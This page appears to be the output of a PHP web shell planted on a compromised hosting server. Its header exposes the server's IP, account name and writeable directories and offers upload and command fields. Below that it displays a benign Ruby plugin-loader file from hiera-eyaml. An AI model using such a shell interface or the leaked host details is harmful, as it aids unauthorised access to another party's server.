403Webshell
Server IP : 66.29.132.122  /  Your IP : 3.146.107.89
Web Server : LiteSpeed
System : Linux business142.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : admazpex ( 531)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/puppetlabs/puppet/lib/ruby/vendor_gems/gems/hiera-eyaml-3.4.0/lib/hiera/backend/eyaml/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/puppetlabs/puppet/lib/ruby/vendor_gems/gems/hiera-eyaml-3.4.0/lib/hiera/backend/eyaml/plugins.rb
require 'rubygems'

class Hiera
  module Backend
    module Eyaml
      class Plugins

        @@plugins = []
        @@commands = []
        @@options = []

        def self.register_options args
          options = args[ :options ]
          plugin = args[ :plugin ]
          options.each do |name, option_hash|
            new_option = {:name => "#{plugin}_#{name}"}
            new_option.merge! option_hash
            @@options << new_option
          end
        end

        def self.options
          @@options
        end

        def self.find

          gem_version = Gem::Version.new(Gem::VERSION)
          this_version = Gem::Version.create(Hiera::Backend::Eyaml::VERSION)
          index = gem_version >= Gem::Version.new("1.8.0") ? Gem::Specification : Gem.source_index

          [index].flatten.each do |source|
            specs = gem_version >= Gem::Version.new("1.6.0") ? source.latest_specs(true) : source.latest_specs

            specs.each do |spec|
              spec = spec.to_spec if spec.respond_to?(:to_spec)
              next if @@plugins.include? spec

              dependency = spec.dependencies.find { |d| d.name == "hiera-eyaml" }
              next if dependency && !dependency.requirement.satisfied_by?( this_version )

              file = nil
              if gem_version >= Gem::Version.new("1.8.0")
                file = spec.matches_for_glob("**/eyaml_init.rb").first
              else
                file = Gem.searcher.matching_files(spec, "**/eyaml_init.rb").first
              end

              next unless file

              @@plugins << spec
              load file
            end

          end

          @@plugins

        end

        def self.plugins
          @@plugins
        end

        def self.commands
          @@commands
        end

      end
    end
  end
end

Youez - 2016 - github.com/yon3zu
LinuXploit